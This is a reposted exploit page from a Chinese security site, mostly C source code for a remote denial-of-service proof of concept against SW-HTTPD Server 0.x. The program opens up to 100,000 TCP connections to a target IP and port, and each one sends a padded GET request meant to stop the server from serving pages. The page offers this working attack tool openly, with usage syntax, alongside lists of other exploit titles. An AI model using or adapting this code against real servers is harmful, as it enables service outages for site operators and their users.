首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SW-HTTPD Server 0.x Remote Denial of Service Exploit
来源:http://www.shell-storm.org 作者:Salwan 发布时间:2009-03-20  
/*
SW-HTTPD Server v0.x Denial of Service (PoC)

Multiple Connections with GET /A[100] HTTP/1.1
After server not found all pages.

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
{
fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port>\n\n",file);
exit(0);
}

int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);

int port = atoi(argv[2]);

int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;


        char hexa[100]  = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                          "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
                                "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";

struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);

int i=0;
        char request[118];

        fprintf(stdout,"[+]SW-HTTPD Server %s\n",argv[1]);

for(i=0;i<100000;i++){

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stdout,"[+]Done!\n");
return 1;}

srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);

if (srv_connect != -1)
{
sprintf(request, "GET /%s HTTP/1.1\r\n", hexa);

if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request\t\t[FAILED]\n");
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done!\n");
return 1;}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
fprintf(stdout,"[+]Done!\n");
shutdown(mysocket2,1);
return 1;}

shutdown(mysocket2,1);
}
return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Bloginator v1a SQL Command Inj
·Chasys Media Player (.lst play
·Chasys Media Player 1.1 .cue F
·Hannon Hill Cascade Server Com
·SilverNews version 2.04 local
·POP Peeper 3.4.0.0 (From) Remo
·Icarus 2.0 (.PGN File) Local S
·BS.Player <= 2.34 Build 980 (.
·Chasys Media Player 1.1 (.m3u)
·BS.Player 2.34 (.bsl) Universa
·Chasys Media Player 1.1 (.pls)
·Racer 0.5.3b5 Remote Stack Buf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved